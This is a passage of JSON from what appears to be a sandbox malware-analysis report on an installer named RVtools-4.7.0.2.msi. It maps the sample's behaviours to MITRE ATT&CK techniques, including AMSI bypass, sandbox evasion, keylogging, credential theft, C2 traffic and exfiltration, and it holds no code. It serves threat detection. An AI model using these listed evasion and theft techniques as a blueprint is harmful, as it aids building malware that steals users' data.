Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"YARA signature match - ChaCha20 128-bit algorithm"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Contains reference to licensed c/c++ library"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"suspicious","value":"YARA signature match - ChaCha20 256-bit algorithm"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"YARA signature match - RSA algorithm (keys)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Detected expand command line utility (used to expand or compress files)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"Drops executable files to the application program directory (%ProgramData%)"},{"type":"suspicious","value":"Drops PE files with different extensions"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Windows File and Directory Permissions Modification","attack_id":"T1222.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/001","identifiers":[{"type":"malicious","value":"Modifies the access control lists of files"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","identifiers":[{"type":"suspicious","value":"Invokes the C# compiler"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve the current user information"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Process launched with changed environment"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Contains ability to perform remote procedure calls (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Creates directory on disk"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Data from Removable Media","attack_id":"T1025","attack_id_wiki":"https://attack.mitre.org/techniques/T1025","identifiers":[{"type":"informative","value":"Able to retrieve system driver type"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Drops a text file that contains suspicious strings (e.g. shell/ActiveX/DOM related)"},{"type":"suspicious","value":"Drops a Python file that contains suspicious strings"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops temp files"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"file/memory contains long string(File: \"_lzma.pyd\")\n file/memory contains long string(File: \"_bz2.pyd\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001196.00000001.265194.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to unregister service from Service Control Manager","description":"Found string \"DeleteService\" (File: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")\n Found string \"DeleteService\" (Source: \"00000000-00007268.00000000.264360.00F21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-690","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"UsbService86.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"UsbService86.exe\" called \"LoadResource with parameter {'hModule': '2406850232321', 'hResInfo': '2406850240736'}\" (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"LoadResource with parameter {'hModule': '2406850232321', 'hResInfo': '2406850240768'}\" (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"LoadResource with parameter {'hModule': '2406850232321', 'hResInfo': '2406850240784'}\" (UID: 00000000-00007744)\n \"UsbService86.exe\" called \"LoadResource with parameter {'hModule': '2406850232321', 'hResInfo': '2406850240752'}\" (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"UsbService86.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\5aat0yyl (UID: 00000000-00007744)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; File: \"RVtools-4.7.0.2.msi\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: 